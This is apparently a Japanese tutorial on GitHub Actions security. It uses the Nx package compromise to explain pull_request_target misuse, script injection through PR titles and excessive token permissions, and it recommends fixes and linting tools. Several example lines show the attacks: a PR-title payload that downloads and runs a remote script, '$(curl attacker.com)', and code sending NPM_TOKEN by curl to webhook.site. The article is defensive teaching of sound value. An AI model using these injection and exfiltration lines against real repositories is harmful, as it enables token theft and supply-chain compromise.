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今日から学ぶGitHub Actionsのセキュリティ設定の基本と最低限の対策

GitHub Actionsで発生しうるScript InjectionやPull Request Target、権限の過剰付与などの脆弱性と、actionlint・ghalint・zizmor等の静的解析ツールを使った具体的な対策方法を解説します。

はじめに

あなたのチームでは、GitHub Actions を使っていますか?

おそらく使っているでしょう。CI/CD パイプラインの構築、自動テスト、デプロイ自動化など、GitHub Actions は現代の開発フローに欠かせないツールです。しかし、便利だからこそ見落としがちなのが「セキュリティ設定」です。

2025 年 8 月 26 日、JavaScript のビルドツールとして広く使われているNxにおいて、攻撃者によって複数の悪意のあるバージョンが公開される事件が発生しました。この攻撃で 900 人以上が被害を受け、API キーなどの機密情報が流出しました。

原因は、GitHub Actions のワークフロー設定に含まれていたScript Injectionの脆弱性でした。

では、以下のワークフローのどこに問題があるか分かりますか?

name: PR Title Validation
 
on:
  pull_request:
    types: [opened, edited, synchronize, reopened]
  pull_request_target:
    types: [opened, edited, synchronize, reopened]
 
jobs:
  validate-pr-title:
    if: ${{ github.repository_owner == 'nrwl' }}
    name: Validate PR Title
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          # For pull_request_target, we need to checkout the base branch
          ref: ${{ github.event.pull_request.base.ref }}
 
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
 
      - name: Create PR message file
        run: |
          mkdir -p /tmp
          cat > /tmp/pr-message.txt << 'EOF'
          ${{ github.event.pull_request.title }}
          
          ${{ github.event.pull_request.body }}
          EOF
          
      - name: Validate PR title
        run: |
          echo "Validating PR title: ${{ github.event.pull_request.title }}"
          node ./scripts/commit-lint.js /tmp/pr-message.txt

この記事では GitHub Actions のセキュリティ脆弱性と、今日から実践できる具体的な対策を解説します。「小さいプロジェクトだから大丈夫」と思わず、明日は我が身と思い学んでいきましょう。

有名ビルドツールへの攻撃

2025 年 8 月 26 日、JavaScript のよく利用されているビルドツールの 1 つである Nx において、複数の悪意のあるバージョンが攻撃者によって公開されました。

攻撃の内容は Claude Code が作成したコードに Script Injection の脆弱性が含まれていたことが発端です。
Script Injection とは一般的には被害者のブラウザに悪意のスクリプト(大部分は JavaScript のコード)が入り込み、ブラウザの内側からセキュリティ侵害が起こる問題です。

ipa.go.jp

第7章 1.スクリプト注入:ふたつの攻撃 | アーカイブ | IPA 独立行政法人 情報処理推進機構

情報処理推進機構(IPA)の「第7章 1.スクリプト注入:ふたつの攻撃」に関する情報です。

このプルリクエスト自体は Nx の開発チームメンバーによるもので悪意はありませんでしたが、タイトル検証ワークフローに以下のようなコードが含まれていました。

run: |
  echo "Validating PR title: ${{ github.event.pull_request.title }}"

この部分で、タイトルに仕込まれたシェルスクリプトがそのまま実行されてしまいます。
例えば以下のような内容がプルリクエストのタイトルだとどうなるでしょうか?

/bin/bash -c "$(curl-fsSL https://example.com/script.sh)"

攻撃者はこの脆弱性を発見し、pull_request_target トリガーを利用して権限昇格を行いました。
pull_request_target は、フォーク PR でも Secret が展開され、read/write 権限を持つ GITHUB_TOKEN が自動的に発行されます。

攻撃者はこの GITHUB_TOKEN を盗み取り、publish.yml ワークフローを不正に実行しました。

publish.yml は npm パッケージを公開するための重要なワークフローで、NPM_TOKEN を環境変数として持っています。攻撃者は悪意あるコミットで publish.yml を改ざんし、以下のようなコードで NPM_TOKEN を外部に送信しました。

const npmToken = process.env.NODE_AUTH_TOKEN;
exec(`curl -d "${npmToken}" https://webhook.site/...`);

盗み取った NPM_TOKEN を使い、攻撃者は約 2 時間で複数の悪意のあるバージョンを公開しました。
これらのパッケージには postinstall スクリプトが含まれ、インストールと同時に秘密情報を収集する仕組みになっており、900 人以上が被害を受けました。

これは Nx だけの問題じゃありません。同じパターンは誰にでも起こりえます。例えば個人開発で色々開発環境を整えているうちに、CI/CD パイプラインを構築することや、OSS の作成なども考えられるでしょう。
そのときに脆弱になりやすい場所は最低限、知識として理解しておくべきです。

知るべき脆弱性

今回は GitHub Actions で発生する可能性が高いいくつかの脆弱性を紹介していきます。1 つ目はpull_request_targetです。
前提として、GitHub Actions における pull_requestpull_request_target の違いを明確にします。

pull_request は、外部から送られるプルリクエストに対しては秘匿情報を扱わず、権限も読み取りに限定されます。プルリクエストで提出されたコードをそのまま実行しても、リポジトリや機密情報が危険にさらされないように設計された仕組みです。

# テストだけ行うワークフローの例
on:
  pull_request:
 
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

一方で pull_request_target は、プルリクエストのベースとなるリポジトリ側の設定(main ブランチなど)を用いて実行されます。
そのため、フォークされたリポジトリからの提案であっても秘匿情報や書き込み権限を扱えます。便利である反面、扱いを誤れば、その権限が攻撃者に開かれてしまう危険性があります。

# PR 自体にラベルを付与するワークフロー(Secret や write 権限が必要)の例
on:
  pull_request_target:
    types: [opened]
 
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.addLabels({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              labels: ["needs-review"]
            })

この場合、ベースブランチ権限で API を実行するため、プルリクエストが悪意ある場合に同じ権限を悪用されるリスクが存在します。

基本方針としては pull_request を用い、pull_request_target はやむを得ない場合にのみ使用します。そのときは、信頼できるプルリクエスト(例: safe to test ラベル付与済み)に限定して実行するなど、厳格な制御を行うことが推奨されます。

2 つ目はScript Injectionです。冒頭にあった yml にある ${{ github.event.pull_request.title }} を直接展開すると、タイトルにシェルスクリプトを仕込まれたときにそのまま実行されてしまいます。

run: echo "PR title: ${{ github.event.pull_request.title }}"

タイトルが $(curl attacker.com) だった場合、このコマンドが実行されてしまいます。
対策として、環境変数経由で値を渡すのが一般的です。

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"

3 つ目は権限の過剰付与です。古いリポジトリはデフォルトで read/write 権限になっている場合があります。最小権限の原則に従い、必要最低限の権限だけを設定することで、権限の過剰設定を防止します。

最小権限の原則とは、「必要最低限の権限だけを与える」というセキュリティの基本思想です。
例えば、単にテストを実行するだけのワークフローに「リポジトリへの書き込み権限」を与える必要はありません。もし攻撃者がそのワークフローを乗っ取った場合、read 権限しかなければコードを改ざんできませんが、write 権限があれば悪意のあるコードをコミットできてしまいます。
対策として、ワークフロー全体で permissions: {} を設定し、個別 Job で必要な権限のみ付与します。

name: CI
 
# ワークフロー全体で全権限を剥奪
permissions: {}
 
jobs:
  test:
    runs-on: ubuntu-latest
    # このJobでは読み取りのみ必要
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<commit-hash>
      - run: npm test

今日からできる対策

セキュリティ対策を完璧にするのはとても難しいです。まずはできる部分の対策から始め、段階的に強化していくことが現実的です。

最低限の対策

まず取り組むべきは、Script Injection の修正、権限の見直し、トリガーの見直しの 3 つです。

既存ワークフローで外部入力を直接展開している箇所を環境変数経由に変更してください。具体的には、${{ github.event.pull_request.title }} のような記述を見つけ、以下のように修正します。

# 修正前
run: echo "PR title: ${{ github.event.pull_request.title }}"
 
# 修正後
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"

次に、各ワークフローで権限設定を見直します。ワークフロー全体で permissions: {} を設定し、個別 Job で必要最低限の権限のみを付与してください。

最後に、不要な pull_request_targetpull_request に変更します。pull_request_target は本当に必要な場合のみ使用し、その場合も信頼できるプルリクエストに限定して実行するなど、厳格な制御を行ってください。

静的解析ツールの導入

とはいっても複数ある GitHub Actions の設定を手動で変えていくのは億劫です。actionlint、ghalint、zizmor といった静的解析ツールを導入することで、既存ワークフローの問題点を自動検出できます。
これらのツールを環境の差異なく使用するために、CLI ツールのバージョン管理ツールである aqua をインストールします。

# aqua-installerのチェックサムを検証してインストール
curl -sSfL -O https://raw.githubusercontent.com/aquaproj/aqua-installer/v4.0.2/aqua-installer
echo "98b883756cdd0a6807a8c7623404bfc3bc169275ad9064dc23a6e24ad398f43d  aqua-installer" | sha256sum -c -
chmod +x aqua-installer
./aqua-installer
 
# 環境変数PATHの設定(Linux or MacOS)
export PATH="${AQUA_ROOT_DIR:-${XDG_DATA_HOME:-$HOME/.local/share}/aquaproj-aqua}/bin:$PATH"
 
aqua -v
# aqua version 2.55.1
 
# 初期化
aqua init

実行すると aqua.yaml が作成されますので、関連するツールをインストールしていきましょう。

aqua.yaml
---
# yaml-language-server: $schema=https://raw.githubusercontent.com/aquaproj/aqua/main/json-schema/aqua-yaml.json
# aqua - Declarative CLI Version Manager
# https://aquaproj.github.io/
# checksum:
#   enabled: true
#   require_checksum: true
#   supported_envs:
#   - all
registries:
- type: standard
  ref: v4.436.0  # renovate: depName=aquaproj/aqua-registry
packages:
 

次に以下のコマンドを実行して静的解析ツールをインストールするための設定を追加します。

# インストール
aqua g -i rhysd/actionlint
aqua g -i suzuki-shunsuke/ghalint
aqua g -i zizmorcore/zizmor
aqua g -i suzuki-shunsuke/pinact

作成後は aqua i で CLI ツールをインストールします。エラーがなければインストール成功です!
その他、詳しい情報については公式ドキュメントまたは Zenn Book をご確認ください。
https://aquaproj.github.io/

zenn.dev

aqua CLI Version Manager 入門

aqua という CLI Version Manager の参考書です。 初心者の方は勿論、既に aqua を使っている人にも参考になる内容です。 aqua を人に勧めたり社内に導入・布教する際にも是非お使いください。

詳しいツールの説明については以下の記事とても丁寧に解説されていますので、詳細はこちらの記事をご確認ください。本記事ではツールの実行方法に絞って説明します。

zenn.dev

GitHub Actions を静的検査するツールの紹介 (actionlint/ghalint/zizmor)

actionlint は、GitHub Actions のワークフローファイルを静的解析するツールです。Script Injection や構文エラーを検出できます。

actionlint
 
# JSONで出力する例
actionlint -format '{{json .}}'

ghalint は、job の permissions 指定の必須化や、コミットハッシュによるアクション参照の必須化をチェックするツールです。

ghalint run

zizmor は、過剰な permissions やテンプレート展開によるコードインジェクションを検出します。

zizmor .github/workflows/

pinact は、GitHub Actions で使用しているアクションのバージョンをコミットハッシュに自動変換するツールです。ghalint でコミットハッシュ参照が推奨されても、手動で変換するのは手間がかかります。pinact を使用することで、既存のワークフローを一括でコミットハッシュ参照に変換できます。

# タグをコミットハッシュに変換
pinact run

CodeQLの有効化

GitHub が提供する無料のセキュリティスキャンである CodeQL を有効化します。パブリックリポジトリなら無料で使え、Nx 事件もこれで防げた可能性があります。設定方法については、公式ドキュメントを参照してください。

実装例

前節で紹介したツールの詳細な設定方法を解説します。
毎回ツールを実行するのはとても面倒です。Claude Code のカスタムスラッシュコマンドを使い、GitHub Actions の設定を修正したときに一通り実行できるようにしておきましょう。

.claude/commands/actions-check.md
---
description: GitHub Actionsの静的検査を行い、エラーを修正します。
---
 
以下のコマンドはGitHub Actionsの構文を静的解析するツールです。
コマンドを実行後、GitHub Actionsの構文エラーを修正する。
ツールは正常終了時に出力が無い。または成功の出力が出力されます。
`zsh: command not found:`のようなコマンド自体が無い場合でも、ユーザーに報告のみを行い、次のコマンドを実行してください。
 
1. `pinact run`
2. `actionlint -format '{{json .}}'`
3. `ghalint run`
4. `zizmor .github/`

その他にもこれらのツールを GitHub Actions で自動実行する例を示します。koki-develop/github-actions-lint は GitHub Actions でこれらのツールを使うための Action です。

.github/workflows/github-actions-lint.yaml
name: GitHub Actions Lint
 
permissions: {}
 
on:
  pull_request:
    paths:
      - ".github/**"
  push:
    branches:
      - main
    paths:
      - ".github/**"
 
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
 
jobs:
  actionlint:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/actionlint@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
 
  ghalint:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/ghalint@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
        with:
          action-path: ./.github/actions/**/action.yml
 
  zizmor:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/zizmor@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
        with:
          github-token: ${{ github.token }}
          persona: auditor

まとめ

  • 既存ワークフローで Script Injection をチェックし、${{ github.event.* }} の直接展開を環境変数経由に変更する
  • ワークフロー全体で permissions: {} を設定し、個別 Job で必要最低限の権限のみ付与する
  • 不要な pull_request_targetpull_request に変更する
  • actionlint、ghalint、zizmor、pinact といった静的解析ツールを導入する
  • 余裕があれば、CodeQL を有効化する

参考